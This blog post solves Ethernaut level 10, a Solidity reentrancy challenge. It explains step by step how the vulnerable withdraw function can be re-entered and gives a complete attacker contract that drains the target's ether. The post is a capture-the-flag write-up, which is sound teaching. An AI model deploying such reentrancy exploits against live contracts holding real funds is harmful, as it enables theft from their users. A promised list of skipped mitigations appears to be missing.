capu's blog
Software is evil unless you can fork it

Ethernaut 10: Reentrance

Objective

Steal the contract's ether

Code

 1contract Reentrance {
 2    mapping(address => uint256) public balances;
 3
 4    function donate(address _to) public payable {
 5        balances[_to] += msg.value;
 6    }
 7
 8    function balanceOf(address _who)
 9        public view returns (uint256 balance) {
10        return balances[_who];
11    }
12
13    function withdraw(uint256 _amount) public {
14        // We updated this with unchecked so it behaves
15        // as per the original code written to be
16        // compiled with solidity ^0.6.0 As of ^0.8.0,
17        // arithmetic ops will revert on over/underflow
18        // On ^0.6.0, it will wrap
19        unchecked {
20            if (balances[msg.sender] >= _amount) {
21                (bool result,) = msg.sender
22                    .call{value: _amount}("");
23                if (result) { _amount; }
24                balances[msg.sender] -= _amount;
25            }
26        }
27    }
28
29    receive() external payable {}
30}

Solution

This contract is vulnerable to a reentrancy attack, as the name says 🙃. and it works as follows:

  1. A contract with some balance calls the withdraw method with a valid amount
  2. The check on line 20 passes
  3. The Reentrance contract transfers ether to the attacker
  4. The attacker's balance hasn't been updated yet
  5. This runs the attacker's fallback function
  6. The attacker's fallback function calls the withdraw method again, with the same amount.
  7. The cycle repeats from step 1.
  8. At some point, the attacker decides to stop doing reentrant calls and simply returns. Otherwise, it'd spend all the available gas and revert the transaction.
  9. Since overflows aren't checked, line 24 doesn't revert the transaction
  10. All the call frames return and the attacker walks away with all of the contract's ether.

This attack it's possible because several mitigations are skipped:

1function solution(address payable target_) internal override{
2    Reentrance target = Reentrance(target_);
3    Reentrooor reentrooor = new Reentrooor(target);
4    reentrooor.deposit{value: 0.001 ether}();
5    reentrooor.attack();
6}
 1contract Reentrooor {
 2    Reentrance private target;
 3    uint256 private calls = 0;
 4    constructor(Reentrance _target) {
 5        target = _target;
 6    }
 7
 8    function deposit() public payable {
 9        target.donate{value: msg.value}(address(this));
10    }
11    function attack() public {
12        target.withdraw(0.001 ether);
13    }
14
15    receive() external payable {
16        if(calls++ > 2) return;
17        target.withdraw(0.001 ether);
18    }
19}

😎

Would you find this more fun as a livestream? I think it'd be more fun to see me try all the wrong solutions than to read a lecture on how a level is solved.

See you next week!

Also on this blog:

Comments

Back to article list